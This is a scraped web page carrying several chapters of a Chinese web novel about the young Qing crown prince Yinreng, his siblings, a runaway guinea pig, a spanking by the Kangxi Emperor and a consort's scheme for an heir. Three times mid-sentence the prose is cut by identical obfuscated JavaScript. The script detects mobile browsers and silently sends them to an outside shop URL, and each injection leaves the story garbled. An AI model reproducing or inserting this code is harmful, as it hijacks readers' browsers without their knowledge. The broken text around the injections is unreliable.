腮帮子随着咀嚼一鼓一鼓，嘴角还沾着点糕点的碎屑，像只偷吃的小松鼠。 “太子弟弟！”胤褆也不含糊，径直走上前，“我特意赶早来的。上回在皇庄是哥哥犯浑，你别往心里去。” 他递出锦盒，语气诚恳：“这是送你的，我瞧着好看，你指定会喜欢的。” 胤礽抬起乌溜溜的杏眼，瞥了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655456|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼，故意慢悠悠放下勺子：“哥哥这么早来，就为这个？” 胤褆忙不迭点头：“可不是吗！” 胤礽伸手接过锦盒：“哥哥有心了。” 胤褆见他不生气，胆子大了些，凑近些小声商量：“那个……我以后还能叫你保成不？总叫太子弟弟怪生分的。” 胤礽眼底闪过狡黠的光：“那得看哥哥以后还认不认得出我是男是女。” “哎哟我的好弟弟！”胤褆急了，“你还记仇呢！哥哥这不是眼拙嘛！” 胤礽被他缠的没办法：“好啦好啦，让你叫就是。！” 真是的，叫就叫呗，还特意问一句，傻乎乎的。 两人正闹着，胤褆的肚子突然"咕噜"一声巨响，在殿内格外清晰。 他动作一僵，耳根瞬间红了。 胤礽立刻抓住把柄，歪着头笑他：“哥哥，你没用早膳吗？” “用了！用了……”胤褆眼神飘向桌上精致诱人的点心，不争气地咽了咽口水，“就是……又饿了。” 看着他眼巴巴盯着点心的样子，胤礽心里一软，指了指那碟卖相极佳的玫瑰酥：“那哥哥尝尝我的糕点？” 胤褆眼睛唰地亮了，他进门就注意到这碟点心了。 之前他就听噶礼说过乾清宫小厨房做的点心，无论是谁，只要吃过一次就念念不忘。 胤褆嘴上还在客气：“这……不太好吧？你还没用完呢。” “我尝个味儿就够啦。” 胤礽说着，小手就要把盘子推过去。 反正他也饱了，昨天看烟花时候不小心打了几个喷嚏，结果康熙就连夜盯着太医开了药膳。 如今这粥里都带着药味，他实在没胃口。 胤褆见他真不介意，刚要伸手，侍立一旁的陈嬷嬷上前一步，温声规劝： “大阿哥，与太子殿下共用一碟终是不合规矩。点心易得，要不奴才吩咐小厨房再为您新做一碟来，您等待片刻就好。” 胤礽愣了愣，觉得嬷嬷说得在理，胤褆好歹是兄长，怎么能吃自己剩下的。 他点了点头，就要让人把碟子拿走，却被胤褆按住了。 “没事没事，”胤褆直接拿起一块玫瑰酥塞进嘴里，吃得腮帮子鼓鼓囊囊，“我就吃几块这个，不用麻烦！” 酥皮入口即化，玫瑰馅儿甜香浓郁。 胤褆满足地眯起了眼，又赶紧看向胤礽，“保成，你……你真吃饱了？可别因为我饿着。” “哥哥，我真的饱了。”胤礽点点头。 嬷嬷有些着急，“殿下，皇上特意吩咐过，这些点心您都要尽量用完的，可不能剩下呀。” 胤褆咽下口中的点心，好奇地问：“保成，你都吃了些什么？这就饱了？” 胤礽掰着手指头数：“半碗薏米粥，一个虾饺，几筷子酱瓜，还有小半块玫瑰酥。” 胤禔惊讶地睁大了眼睛：“就这么点？” 他看着桌上几乎没动过的虾饺和剩下的几块玫瑰酥，实在难以理解。 这点分量，还不够他平时练布库前垫肚子的呢！ 接连吃了三块，胤褆才心满意足地停下，咂咂嘴实话实说：“这糕点是真不错，就是……甜了点儿。” 胤礽瞧见他嘴角沾着的酥皮碎屑，拿起一方干净的锦帕递过去，眼里带着笑：“哥哥喜欢吃咸口的？” “嗯，”胤禔接过帕子胡乱擦了擦嘴，咧嘴笑道，“咸香些的更对胃口。不过嘛，甜的偶尔吃吃，也别有滋味。” 吃饱喝足，正事也没忘。胤褆想起他过来的还有一个目的。 “保成，我们什么时候去看看你养的那个……那个豚鼠？”他努力回想了一下名字，“是叫圆滚滚，对吧？” “哥哥今天就要去吗？” 胤礽有些意外，他本以为要过几天。 胤褆兴致勃勃：“隔日不如撞日嘛，来都来了。” 胤礽想了想，点点头：“好，那我们现在就去。” 说完便唤高三变过来替他更衣。 临出门前，他特意回头对陈嬷嬷说：“嬷嬷，今天点心没吃完的事，不可以告诉阿玛哦。” 说完，也不管嬷嬷一脸为难，拉着胤褆就往外走。 胤褆一边走一边忍不住问：“保成，你吃不下，皇阿玛也要管啊？” 胤礽小脸一垮，带着点儿苦恼：“对啊，阿玛总嫌我吃得太少，可我是真的吃不下了嘛。” 胤褆一听，立刻挺起胸膛，一副包在我身上的模样：“这有什么难的，以后就交给哥哥了。你吃不下的，哥哥帮你吃。 咱们悄悄的，肯定不让皇阿玛知道。” “好！” 胤礽眼睛弯成了月牙，用力点了点头。 23.第 23 章 胤礽和胤褆刚拐过宫道弯角，远远就见荣宪带着几个宫人迎面走来。 “太子弟弟！大哥哥！”荣宪扬声唤道，声音清脆，“你们这是往我宫里去找我？” 倒不是她眼尖，实在是胤礽和胤褆这两拨人凑在一起，连带着侍卫太监，阵仗大得想不注意都难。 胤礽脸上先绽开笑，“二姐姐，哥哥说想来看看圆滚滚。” 荣宪身后的宫女手里正提着竹编笼子，晃晃悠悠，隐约能瞧见里面圆滚滚的影子。 胤褆探头往竹笼里瞧，“这东西看着灰扑扑的，也不怎么可爱啊。保成整日念叨，我还当是什么稀罕物呢。” 他那嫌弃的表情几乎和康熙如出一辙，偏偏他自己浑然不觉。 话音刚落，手背就被胤礽狠狠掐了一把。 “哥哥！” 胤礽瞪着他，腮帮子鼓得像含了颗枣子，满眼都是不满。 哪有当着人家面说人宠物不可爱的道理！ 更何况，在他眼里，这只圆墩墩的豚鼠可是顶顶可爱的宝贝。 “哎哟，保成，轻点轻点！”胤褆龇牙咧嘴地告饶，“我说错了，可爱，特别可爱！” 他嘴上服软，心里却觉得这圆滚滚还不如保成炸毛时候来的可爱。 只是这话胤褆可不敢再漏出来，免得又被挨掐。 胤褆凑近笼子，还是有些迟疑：“这小东西......性子烈不烈？不会突然咬人吧？” 荣宪让宫女把竹笼往他面前递了递，“大哥哥放心，它们俩乖着呢，平日里连菜叶都舍不得咬重，哪会咬人呀！要不你摸摸看？软乎乎的可舒服了。” 胤褆犹豫着伸出手，又在半空缩了回去。 看着是软，可万一真咬一口，手上留个印子多丢人？ 胤礽见状，转头对荣宪道：“二姐姐，把圆滚滚给我，我给哥哥示范一下。” “太子弟弟要抱它？” 荣宪愣了愣，有些犹豫，“它们今早还没沐浴呢，身上怕是沾了些尘土……” “无妨，” 胤礽摆了摆手，眼里满是期待，“抱完你再带着它们去洗，不碍事的。” “那好吧。” 荣宪当即让宫人打开笼门，小心翼翼地把圆滚滚递了过去。胤礽伸手接住，熟练地将小家伙搂在怀里。 小小的身子抱着胖乎乎的豚鼠，那画面瞧着竟格外软和。 “圆滚滚，来，亲亲。” 胤礽喜爱地将脸颊贴上去，圆滚滚也仿佛通人性般，亲昵地蹭了蹭他的腮边，痒得他 “咯咯” 笑出了声。 胤礽转头，冲胤褆扬下巴，怂恿道：“哥哥，你要不要试试？抱着可暖和了，还软乎乎的，特别舒服。” 胤礽盯着那温顺蹭人的豚鼠，犹豫了半天，才挠了挠头：“那…… 那我试试？要是它闹脾气，好保成，你可得帮我拦着点。” “给你，” 胤礽伸手递过去，还特意叮嘱，“哥哥你轻点抱，它身子软，捏重了会疼的，到时候它要是叫起来，你可别慌。” 可他话还没说完，胤褆接过时，心里太紧张，手下不自觉地用了力。 “吱 ——” 圆滚滚吃痛叫了声，猛地在他手套上咬了一口。 “啊！” 胤褆疼得低呼一声，手一松，圆滚滚顿时得了自由，“嗖” 地一下蹿了出去，落地后顺着宫道旁的草丛，头也不回地往前跑。 “哥哥，你没事吧？” 胤礽吓了一跳，赶紧拉过他的手，翻来覆去检查了好几遍。 见只咬在了手套上，没伤着皮肉，才松了口气，“还好戴了手套，不然可得破皮了。” “没事没事，”胤褆甩了甩手，脸上有点挂不住，“保成，快！咱们赶紧追它回来！” 可圆滚滚虽胖，逃窜起来却异常敏捷，三两下就钻进了路旁的枯草丛，不见了踪影。 “往那边跑了！”荣宪眼尖，指着东边的方向大喊，脚下已经迈开步子，“钻花丛里了，咱们快追！别让它跑远了！” 三个孩子也顾不上宫人，拔腿就追。 冬日花草凋零，枯枝败叶间，那白棕色的小身影格外显眼，倒也不难寻觅。 追出没多远，胤褆率先发现了目标，指着前方宫墙根低喊：“保成！在那儿蹲着呢！快！” 胤礽立刻给高三变使了个眼色。高三变会意，猫着腰扑上去。 谁知圆滚滚机灵得很，一个急转弯，高三变收势不及，结结实实摔了个屁股墩儿。 “还愣着干什么？都给我上啊！” 胤褆看得着急，抬腿踢了自家大太监屁股一下，语气里满是不耐，“一群饭桶，连只豚鼠都抓不住！” 几个太监赶紧一拥而上，“啪啪啪” 地扑过去，扑得尘土飞扬。 结果豚鼠没抓到，反倒叠成了一堆，摔得东倒西歪，引得胤礽 “嗤” 地笑出了声。 胤礽叉着腰，忍不住吐槽：“笨死你们算了，这么多人连只豚鼠都抓不住。” “这边！” 荣宪突然又指着前方喊道，脚步愈发急促。 胤礽和胤褆也顾不上笑话太监了，撇下乱成一团的宫人，追着一溜烟跑远的圆滚滚，来到一棵老梅树前。 圆滚滚被追得急了，竟一溜烟蹿上了树。 老梅树枝头零星点缀着几朵残梅，而那圆滚滚的身子正卡在一条枝桠上，瑟瑟发抖，连动都不敢动。 荣宪急道：“这可如何是好？它要是摔下来，肯定得受伤……” 这老梅树虽不算参天巨木，但对几个孩童来说，已是难以企及的高度。 “怕什么，”胤褆却跃跃欲试，一边卷起袖子，一边活动着手脚，“看我的！我在宫外的时候，爬树掏鸟窝、摸鸟蛋，哪样没干过？这点高度，根本不算事儿！” “哥哥不行！” “这太危险了，” 胤礽赶紧拉住他的衣袖，指尖微微用力，语气带着明显的不赞同，“这树看着老了，树枝说不定不结实，万一摔下来怎么办？咱们还是等侍卫来帮忙吧。” “等他们磨磨蹭蹭地过来，这小东西都要被风吹得冻僵了。” 胤褆指着树上那个颤抖的白棕团子，又拍了拍粗壮的树干，“你看这树枝多结实，保成你放心，肯定没事！” 他说着就甩开胤礽的手，手脚并用地往上爬。动作倒真麻利，没一会儿就爬到了圆滚滚旁边，伸手一把抓住了那团软毛。 恰在此时，他脚下的树枝猛地一颤。 胤褆身子晃了晃，看着像是要掉下来似的。 “啊！哥哥！” “大哥哥小心！” 荣宪和胤礽都吓得尖叫起来，脸色瞬间白了。 胤褆却突然稳住身形，还冲下面做了个鬼脸，笑得得意：“哈哈！骗你们的！我怎么可能摔下去？这点平衡感，我还是有的！” “哥哥你别胡闹！” 胤礽看着他这副模样，又气又急，忍不住跺脚，“要是真摔下来，有你哭的！到时候阿玛肯定要罚你抄书！” “上头风景挺好的，” 胤褆抱着圆滚滚，低头冲两人喊，“你们要不要上来一起看？” 荣宪立时来了兴致：“要！我也要上去！” 她天生灵巧，三下两下便攀上枝头，与胤褆并肩而坐。 还不忘回头冲胤礽招手：“太子弟弟快上来，上面看得可远了！” 胤礽站在树下仰头张望，心里痒痒的，却又有些发怵。 他自幼被规矩束着，何曾爬过树？ 可看着荣宪和胤褆两人都坐得稳稳的，心里又有点跃跃欲试。 “那…… 那孤也上去，你们可得拉紧孤。” “放心吧！包在我们身上！” 胤褆和荣宪异口同声地应着，各自伸出一只手。 胤礽伸手抓住树干，慢慢往上爬。 树皮有点糙，蹭得他手心发疼，可他没吭声，一步一步往上挪。 爬到一半，他终于够到了两人的手。 胤褆力气大，一把将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667988|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他往上拽了拽，荣宪则扶着他的胳膊帮他稳住身形，没一会儿，他也稳稳坐在了树枝上。 风从耳边掠过，带着淡淡的梅花冷香，远处宫人的说话声隐约传来。 胤礽低头往下看，见高三变领着一群宫人慌慌张张跑过来，个个仰着头，脸上满是焦急，忍不住弯了弯嘴角。 他伸手从胤褆怀里接过豚鼠，小家伙已经不发抖了，软乎乎的身子缩在他掌心，还轻轻蹭了蹭他的指尖。 “太子爷！您快下来吧！” 高三变 “噗通” 一声跪在树底下，声音发颤地哀求，“这要是让万岁爷知道了，奴才们就算是把脑袋磕破，也赔不起您的安危啊！” “孤再待一会儿。” 胤礽悠闲地晃了晃腿，“慌什么？阿玛在乾清宫批奏折呢，哪能这么快知道？再说了，有你在底下盯着，难不成还能让孤摔着？” “这…… 这可不行啊！” 高三变额头上的汗都往下淌，“万一有个闪失……” “你不说，阿玛怎么会知道？” 胤礽挑眉，说得理直气壮，“只要咱们都不说，谁也不会知晓。” “这......这......”高三变被噎得说不出话。 “朕不会知道什么？” 一道阴恻恻的声音从底下传来，瞬间让喧闹的氛围静了下来。 胤礽心里 “咯噔” 一下，抱着豚鼠的手猛地收紧，浑身的汗毛都竖了起来 。 这声音...... 是阿玛！ 他僵硬地低头，只见康熙穿着明黄色常服站在树下，身后跟着梁九功和一排侍卫。 皇帝眼神沉沉的，正死死地盯着树上的他们。 荣宪吓得立刻往胤褆身后缩了缩，胤褆也没了刚才的得意，手紧紧抓着树枝，连大气都不敢喘。 “皇、皇阿玛！” 胤礽怀里的圆滚滚像是感受到了紧张的氛围，突然 “吱” 地叫了一声，小爪子挠了挠他的手心。 他下意识低头哄了句：“圆滚滚别闹，乖乖的。” 等他抬头时见康熙的目光还落在自己身上，赶紧补了句软话，“阿玛，是圆滚滚先爬上来的，我们…… 我们是来抓它的，不是故意爬树的。” 康熙移开视线，扫过树下的侍卫，语气带着压不住的怒意：“还不赶紧把太子、大阿哥和二格格请下来！要是太子摔下来，你们一个个都去慎刑司领罚！” 侍卫们赶紧应 “是”，手脚麻利地往上爬。 荣宪被第一个抱下来，她一落地就低着头站在一边，像只受惊的小鹌鹑。 胤褆紧随其后，也乖乖地站到荣宪身边，连头都不敢抬。 胤礽刚才为了看远处的风景，特意和胤褆换了个靠里的位置，此刻倒成了最后一个下来的。 侍卫刚伸手要抱他，老梅树突然 “吱呀” 响了一声。 刚才爬上来的人太多，树枝早就不堪重负，他坐着的那根枝桠 “啪嗒” 一下断了！ “啊！” 胤礽惊呼一声，身体直直往下坠。 胤礽惊呼着坠落，却未等到预想中的疼痛，反而落进一个带着龙涎香气的温暖怀抱。 “阿玛……” 胤礽赶紧伸手抱住康熙的脖子，声音软下来，带着点讨好和撒娇 。 他知道自己错了，好好认错，康熙说不定就不生气了。 可康熙此刻怒火中烧，根本不吃这套。 刚才在窗口瞧见三个孩子坐在树上时，他心都快跳出来了，生怕树枝断了，他们摔出个好歹。 如今这孩子竟然还敢冲他撒娇卖萌，一点都没意识到自己的举动有多危险！ 康熙越想越气，抱着胤礽转身，将他横放在肩上，直接扬起手。 “啪！啪！啪！” 他冲着那小屁股上打了几下，每一下都没留力气。 “哇 ——” 胤礽疼得放声大哭，一边哭一边喊，“阿玛坏！孤都认错了！你还打孤！坏阿玛！” 24.第 24 章 胤礽哭得抽抽噎噎，被康熙一路拎回了乾清宫。 他这会儿正伤心着，自然不晓得他那两个共犯小伙伴转眼就被罚了抄书。 暖阁里炭火烧得正旺，康熙火速传了太医。小家伙却死死捂住裤子，脑袋摇得像拨浪鼓，死活不让太医靠近。 “阿玛打就打……还、还当着那么多人的面！”他抽噎着，委屈得胸口发闷，“现在还要脱裤子……孤不要面子的吗？” 胤礽越说越委屈，觉得自己简直是全紫禁城最可怜的小孩。 太医捧着药箱站在一旁，进也不是退也不是。 他也不敢用力，只能为难地看向康熙：“万岁爷……” “保成，听话，把裤子脱了让太医瞧瞧。”康熙蹲下来，想把他搂进怀里，“要是真破了皮，留了疤怎么办？” 胤礽拒绝：“孤不要！” 康熙不再跟他墨迹，直接把人捞过来按在自己膝上，三两下就扒了他的小裤子。 “好了，就这样看吧。” 胤礽挣了两下没挣开，只能趴在他膝上，呜呜咽咽地哭，控诉：“阿玛坏…… 孤再也不理阿玛了……” 太医擦了擦额角的汗，凑上前检查。 小太子白嫩嫩的屁股上，赫然印着几道鲜红的掌痕，在雪肤映衬下格外扎眼。 太医忍不住抬眼，飞快地瞥了康熙一眼，那眼神里带着几分不赞同。 万岁爷对太子，下手倒是真没留余地。 康熙只当没看见，“太子的伤可要紧？” “回万岁爷，只是皮外伤，并未破皮，” 太医连忙收回目光，躬身回话。 他又补充道，“臣这就配消肿药膏，涂个三五日便好。另外，太子与大阿哥、二格格方才在雪地里待了许久，臣再开些驱寒姜汤，以防夜里发热。” 康熙点头应下，等太医走后，拿起药膏刚要往胤礽屁股上涂，胤礽就猛地瑟缩了一下，带着哭腔喊：“别碰！疼！阿玛轻些！” “知道错了没？” 康熙边涂抹药膏边问。 胤礽抿着嘴，愣是不吭声。 他不是不知道自己爬树危险，可一想到方才的委屈，那点认错的心思就堵在了喉咙里，怎么也说不出口。 “朕问你话呢。” 康熙的手指顿了顿，力道却没加重。 “知道了……” 胤礽拖长了调子，答得心不甘情不愿，那点不服气明晃晃地写在脸上。只差没把 “我没错” 三个字刻在额头上。 康熙哪会看不出这小子口服心不服？ 他将药膏搁在一旁，起身撂下一句：“在这儿好好反省，想不通就别出来。” 说罢转身去了前殿处理奏折，没再回头看胤礽一眼。 胤礽趴在软榻上，眼泪吧嗒吧嗒往下掉，小屁股还火辣辣地疼。 汗阿玛根本不爱他！ 要是真疼他，怎么会下这么重的手？打完了还不来哄他！ 正委屈着，脑海里突然响起一道熟悉的声音： 【宝宝？怎么哭成这样？谁欺负你了？】 是小七！ 胤礽猛地抬起头，眼里瞬间亮了亮。 小七升级前说过，升级后能解锁更多功能，说不定能帮他出出气！ “小七！” 他在心里喊，声音带着哭腔，“阿玛打孤！还当着好多人的面扒孤裤子，孤好委屈……” 小七刚升级完，还没来得及熟悉新功能，一听这话急得不行 【啊？康熙爷怎么能这样？不过宝宝你也别太难过，他肯定是担心你才慌了手脚……】 “才不是！” 胤礽打断它，“他就是不爱我了！” 他赌着气，连御膳房送来晚膳都没动。 【宝宝，你一天没吃东西了，会饿坏的。】 小七在他脑海里劝着， 【要不…… 我给你拿点系统商城里的吃食？我升级后解锁了童趣食盒，里面有草莓奶冻、巧克力曲奇，都是你没吃过的味道。】 胤礽眼睛一动。 他早就好奇系统商城里的东西了，之前小七没升级，一直没机会尝。 现在阿玛不疼他，他正好尝尝新鲜！ “好！孤要草莓奶冻，还要巧克力曲奇！” 下一秒，一只小巧的白瓷碗和油纸包凭空出现在榻边。 胤礽拿起奶冻，入口是清甜的草莓味，冰凉丝滑。曲奇咬下去脆生生的，带着浓郁的奶香，他不知不觉就吃了大半。 【好吃吗？】 小七的声音带着笑意，【要是不够，我再给你拿点？】 “够了够了。” 胤礽摸了摸圆滚滚的肚子，心里的委屈消了些，可一想到康熙，又垮下脸， “小七，孤不想理阿玛了，孤不哄我，孤就一直不理他。” 小七赶紧劝：【宝宝，冷战不好呀！康熙爷刚才给你涂药的时候，手指都在发抖，肯定是心疼了。你要是一直不理他，他该着急了。】 “他着急也是活该！” 胤礽哼了一声，把油纸包揉成一团藏进枕头底下，“谁让他先凶孤的！” 这边胤礽吃着系统零食赌气，那边康熙处理完奏折，心里始终惦记着儿子。 他特意绕去暖阁，想看看胤礽吃了多少，结果一进门就瞧见满桌没动的膳食。 再往榻边一看，地上还掉了片陌生的油纸，上面沾着些褐色碎屑，显然不是宫里的东西。 “怎么不用膳？” 康熙皱起眉，走过去捡起油纸，目光落在胤礽嘴角的奶渍上，语气沉了下来，“这是什么？哪来的？” 胤礽心里一慌，赶紧把枕头往身后挪了挪，“我不饿，不想吃。这东西…… 这东西是我自己的，跟你没关系！” “不饿？” 康熙走过去，瞥见他嘴角还没擦干净的奶渍，语气沉了下来，“那你吃的是什么？哪来的？” 胤礽攥紧了手心，不肯说。 他知道阿玛不让他碰宫外的东西，可这是小七给的，又不是外人送的，凭什么不能吃？ “朕问你话呢！” 康熙的声音提高了些，“把东西拿出来！” “就不！” 胤礽猛地站起来，眼里又蓄满了眼泪，“这是我的东西，跟你没关系！你打我、扒我裤子，还想管我吃什么？我再也不要理你了！” 说罢，他一头扎进里间的帐幔里，任凭康熙怎么叫都不肯出来。 康熙站在原地，看着满桌未动的膳食和手中的油纸，心头的火越烧越旺。 他特意嘱咐御膳房做了胤礽最爱吃的菜，这孩子不但不吃，还藏了来路不明的东西，更说要再也不理他。 这倔脾气，到底是随了谁？ “好，你要冷战，朕奉陪。” 康熙咬了咬牙，转身出了暖阁。可走到门口又停下，回头对守门的宫女低声嘱咐： “仔细盯着太子，若是饿了要吃东西，立刻来报。” 康熙一人待在书房里，正烦躁着，殿外传来通报：“万岁爷，佟佳贵妃派人送参汤来了。” 康熙呷了一口，温热的汤水滑过喉咙，稍稍压下了心底的火气。 送汤的宫女趁机回话：“贵妃娘娘说，近来天寒，万岁爷为太子殿下操劳，怕伤了龙体，特意让小厨房炖了三小时的参汤，还说…… 若万岁爷得空，她宫里还备了暖锅。” 这话听得康熙心里一动，眼下与其对着犟嘴的胤礽闹心，倒不如去表妹宫里松快松快。 他放下汤碗，“去告诉贵妃，朕今晚去她宫里歇着。” 等康熙踏进景仁宫时，暖阁里炭火烧得正旺，热腾腾的暖锅香气四溢，映得佟佳氏的脸格外红润。 她见康熙进来，连忙起身行礼，眼角眉梢都带着喜色，“臣妾恭迎万岁爷。” “表妹有心了。”康熙虚扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671858|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把。 只这一句，佟佳氏的眼圈瞬间就红了，多日的委屈涌上心头。 康熙顿觉头疼，这宫里怎么一个两个都要掉金豆子？ 他来景仁宫可不是为了看表妹哭的，他那儿已经有个哭哭啼啼的小祖宗了。 “表妹别哭，”他语气放缓，“朕这不是来了？” 佟佳氏慌忙拭泪：“让皇上见笑了。只是宫里太闷，皇上许久不来，臣妾一时情难自禁……” 康熙如何不知她话中所指？ 皇帝心下一叹，伸手将人揽入怀中：“孩子迟早会来，表妹急什么？” 佟佳氏这才破涕为笑。 待到红烛高燃，帐幔低垂，一番云雨过后，康熙搂着怀中温香软玉，却毫无睡意。 “保成今晚都没好生用膳……”他忽然喃喃自语，“那油纸包也不知是什么来历……” 康熙突然翻身坐起来，“不行，朕还是得回去看看。” 佟佳氏连忙拉住他衣袖：“万岁爷，这都三更天了，乾清宫那么多宫人伺候着，您不如再歇会儿……” “不了，”康熙利落地系好衣带，“表妹好生歇着。” 他说完，大步流星地走了，连回头看一眼都没有。 佟佳氏独自坐在锦帐中，手抚过身侧空荡荡的缎褥，指尖发冷。 又是胤礽！ 若不是那孩子，万岁爷怎会连一夜温存都不肯留？她在这深宫里，难道真要一辈子看人脸色过日子？ 守在门外的宫女乌雅氏轻轻敲了敲门：“娘娘，您还好吗？奴才煮了安神汤。” 佟佳氏擦了擦眼泪，深吸一口气：“进来。” 乌雅氏端着汤走进来，见她眼眶通红，心里便有了数。 她将汤碗放在桌上，扑通一声跪在地上，声音压得极低：“娘娘，奴才斗胆，有句话想跟您说。” “起来说。” 佟佳氏揉了揉眉心。 乌雅氏起身凑近，眼中闪着热切的光：“娘娘如今的难处，奴才都明白。您缺的不是一时恩宠，是个能倚仗的皇子。若有了小阿哥，万岁爷自然会常来，六宫谁还敢怠慢？” 佟佳氏苦笑：“本宫何尝不知？可这身子不争气……” “奴才倒有个主意。”乌雅氏咬唇，像是下了决心，“奴才入宫两年，虽不得圣心，但胜在无人留意。若娘娘不弃，奴才愿设法求得圣眷，倘若有幸得孕……” 她抬眼直视佟佳氏，一字一句道：“届时便将孩儿记在娘娘名下！奴才只求孩儿日后能记着生母一分，让奴才脱了这奴籍便是。娘娘，这可是两全其美的事啊！” 佟佳氏猛地抬头，盯着乌雅氏。 这主意太大胆，可也太诱人了！ 乌雅氏容貌清秀，性子也沉稳，若是真能怀上，过继到自己名下，那孩子就是嫡出的皇子。 到那时，她这贵妃之位才算真正稳固。 “你…… 没骗我？” 佟佳氏的声音带着颤抖。 “奴才愿对天发誓！”乌雅氏急忙表忠心，“奴才出身包衣，若无娘娘提携，此生不过是个老死宫中的奴婢。跟着娘娘，奴才和孩子才有前程！” 佟佳氏凝视着乌雅氏诚恳的双眼，心中天平渐渐倾斜。 沉默良久，终是颔首，语气里透出几分决绝： “好，本宫信你。此事若成，许你嫔位，保你一世荣华。” 乌雅氏大喜，连忙磕头：“谢娘娘恩典！奴才定不负娘娘所托！” 佟佳氏扶她起身，眼底掠过精光：“这事急不得，得慢慢筹谋。 你先回去，平日里多在万岁爷可能经过的地方走动，学着些讨喜的样子。记住，这事绝不能让第三个人知道。” “奴才明白！” 望着乌雅氏退下的身影，佟佳氏端起安神汤一饮而尽。 汤水温热，她却觉得心中有团火在烧。 25.第 25 章 “太子爷，您请回吧。” 乾清宫的殿门才推开一道缝隙，便被两名侍卫稳稳抵住，纹丝不动。 胤礽躲在门后，见两个侍卫宛如高墙般伫立在门前，心里一阵发闷。 这已经是第三天了，再这么关下去，他非得憋疯不可。 他耐着性子商量，“孤就出去半个时辰，透口气就回来。” 侍卫垂着头，“太子爷恕罪，万岁爷特意吩咐过，您关禁闭期间，任何人不得放您出宫门半步。” 这两个榆木疙瘩，怎么就如此不知变通？ 胤礽心头火起，却又不好发作。 他深吸一口气，朝旁边使了个眼色：“高三变。” 他身边的高三变连忙一瘸一拐的上来，从怀里掏出个绣着团龙纹的小荷包往门缝里塞。 高三变：“侍卫大哥，这是太子爷的一点心意，你行个方便呗？” 胤礽见侍卫不接，放软语气，“此事，算孤欠你一个人情，如何？” 话说到这个份上，多少也该卖他点面子吧。 只可惜，这里是乾清宫。 做主的人是胤礽的老子，谁的面子都没康熙的大。 这话说完，那侍卫反倒往后退了半步，离门缝更远了些。 软的不行，胤礽索性来硬的，“你这人怎么这么死心眼！” 这侍卫油盐不进的模样，简直是在挑战他的耐心。 高三变见状，也想狐假虎威，猛地踹了门槛一脚。 只是他前几日因为看护胤礽不力，吃了几下板子，这一脚踹的摇摇晃晃，像个软脚虾一样。 小荷包 “啪嗒” 一声掉在门缝外的积雪上，红绸面沾了白雪，格外显眼。 侍卫弯腰捡起，恭恭敬敬地从门缝里递回来，“太子爷的东西，奴才不敢收。” 高三变看着胤礽难看的脸色，也不知这荷包该不该拿回来，只好小声问：“主子，咱们这个荷包还要吗？” “不要了！” 胤礽眼神扫过那荷包，满是不耐，“爱要不要，孤还不稀罕。” 他转身就往殿内走，走了两步又猛地回头，隔着门缝冲外面喊：“等着！孤迟早能出去！” 说完，他狠狠甩上门，震得门框嗡嗡作响。 侍卫依旧保持着躬身的姿势，直到殿内没了动静，才缓缓直起身。 他低头看着掌心那烫手山芋似的荷包，扔也不是，拿也不是。 这可是御赐之物，太子爷可以说丢就丢，他一个当奴才的却不敢有丝毫轻慢。 可若是收下……回头追查起来，他纵有十张嘴也说不清。 正进退维谷间，身后传来一阵轻缓却稳重的脚步声。 那侍卫回头一看，脸上顿时露出如释重负的神情，“纳兰兄，你来得正好。快替我拿个主意，这东西，该如何办才是？” ...... 殿内，胤礽往铺着软垫的椅子上一坐，却怎么都坐不住。 心中烦躁愈盛，他索性点开那只有自己能见的系统面板，想找些事做，打发这漫漫长日。 他记得系统里还有门异域语言的课程，之前听小七提过，叫 “法语”。说是西边大洋彼岸那些国家的话，据说绕口得很。 “小七，调法语课程，从最基础的来。” 【好的宝宝，已为您调取法语入门篇目，当前模块：基础发音与日常短句。】 面板瞬间切换画面，左边弹出一行行弯弯曲曲的字符，右边配着汉语注释和发音标注，最下方还卧着个小小的喇叭图标。 胤礽凑上前，盯着第一行字符念：“Bonjour…… 邦茹？这是什么意思？” 【宝宝，Bonjour是法语“问安”的意思，发音时注意舌尖轻抵上齿龈，尾音“r”要带点小颤音哦。】 胤礽跟着学，舌尖抵着上齿龈试了试，结果发成了 “邦入”。 他忍不住笑了：“这什么呀，跟含着颗糖似的。” 胤礽又调整口型，练了三四遍，总算能把那点 “小颤音” 发出来，虽然还生涩，却比刚开始顺溜多了。 接着往下翻， “Au revoir”（再见） “Merci”（谢谢） “Oui”（是） “Non”（不是） …… 胤礽逐字逐句地念，遇到绕口的就停下来，让小七放慢语速反复播放。 又拿着他的小毛笔，在宣纸上照着面板上的法语字符画。 说来也怪，这稀奇古怪的洋文竟真让他暂时忘记了禁闭的烦闷。那些弯弯绕绕的字符像是有了生命，在他笔下活灵活现。 